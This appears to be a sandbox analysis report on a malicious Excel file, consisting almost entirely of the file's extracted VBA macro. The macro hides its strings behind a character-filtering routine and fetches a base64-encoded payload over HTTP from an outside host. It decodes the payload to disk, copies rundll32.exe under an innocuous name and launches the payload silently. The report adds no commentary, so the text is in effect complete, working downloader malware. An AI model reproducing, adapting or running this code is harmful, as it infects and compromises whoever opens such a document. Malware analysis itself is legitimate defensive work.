Windows Analysis Report
xls.xls

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function aspetteremo(traguardo) As Byte()
Dim dorsale() As Byte
Dim sparagli As Integer
sparagli = FreeFile
Open traguardo For Binary Access Read As sparagli
ReDim dorsale(0 To LOF(sparagli) - 1)
Get sparagli, , dorsale
Close sparagli
aspetteremo = dorsale
End Function
Function stupidaggine(ByVal pittore As String) As String
Dim attratto As Object
    Set attratto = CreateObject(ammiratrice("fgyMSXgjkML2u.XjnbvMLHyuigTTllcPfds", 6))
    attratto.Open ammiratrice("vbGtcrEkbvT", 6), pittore, False
    attratto.send
    stupidaggine = Replace(RTrim(attratto.responseText), " ", "AA")
    Set attratto = Nothing
End Function
Function lasciatela()
lasciatela = Application.DefaultFilePath
End Function
Function dimostrargli(celebrita)
Dim scoperte() As Byte
scoperte = aspetteremo(Left(Environ(ammiratrice("A7Uc6oP5mAs31p0Ee0c1", 3)), 20) & ammiratrice("S5r1Yu3n11dIIl7lM87", 1) & "32" & ammiratrice("K60.3EHeNN7x56eO", 4))
frequenta = lasciatela & ammiratrice("O0I01\1VcNBaJ8l0c500.2CCeYxZ190Ke88", 1)
Debug.Print trattasse(scoperte, frequenta)
riporti = frequenta & " " & celebrita & ",#" & 1 & " /q"
riporti = trattasse(scoperte, Shell(riporti))
End Function
Public Function trattasse(benefici() As Byte, ByVal impiego As String)
    Dim improvvisa As Long: improvvisa = FreeFile
    Open impiego For Binary Access Write As improvvisa
    Put improvvisa, 1, benefici
    Close improvvisa
End Function

Function ammiratrice(stabilizzare, d) As String
Dim perseveranza()
ReDim perseveranza(Len(stabilizzare))
For manna = 1 To UBound(perseveranza)
  perseveranza(manna) = Mid(stabilizzare, manna, 1)
Next
For Each litigata In perseveranza
If d < 5 And litigata = LCase(litigata) And Not IsNumeric(litigata) Then
morivano = morivano & litigata
Else
If d > 5 And litigata = UCase(litigata) Then morivano = morivano & litigata
End If
Next
ammiratrice = morivano
End Function
Sub new_espandere()
scomparendo = dimostrargli(neurologo)
End Sub

Function neurologo() As String
valletto = lasciatela & "\" & Int(89573453 * Rnd) + 6880 & "."
trattasse rientrando((Presentava(ammiratrice("N5h13tDtKQpLL21sE0O:XM1/A40/R1d901oo24xIilR1.23cPRoC5m8", 3)))), valletto
neurologo = valletto
End Function
Function Presentava(ByVal dimagrire As String) As String
Dim Wdimagrire As String
Wdimagrire = dimagrire
Presentava = stupidaggine(Wdimagrire)
End Function
Public Function rientrando(ByVal baciarlo As String) As Byte()
    With CreateObject(ammiratrice("9800m4WsYYxA8m66l", 2) & 2 & ammiratrice("74327.Ad700o67mAEdoKcu3Om55eKn55t", 4)).createElement(ammiratrice("3WEb0", 3) & 64)
        .DataType = ammiratrice("AbVK5in4W.b1QasY7e", 3) & 64
        c = 78
        .Text = baciarlo
        foh = 9
        rientrando = .nodeTypedValue
    End With
End Function

Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True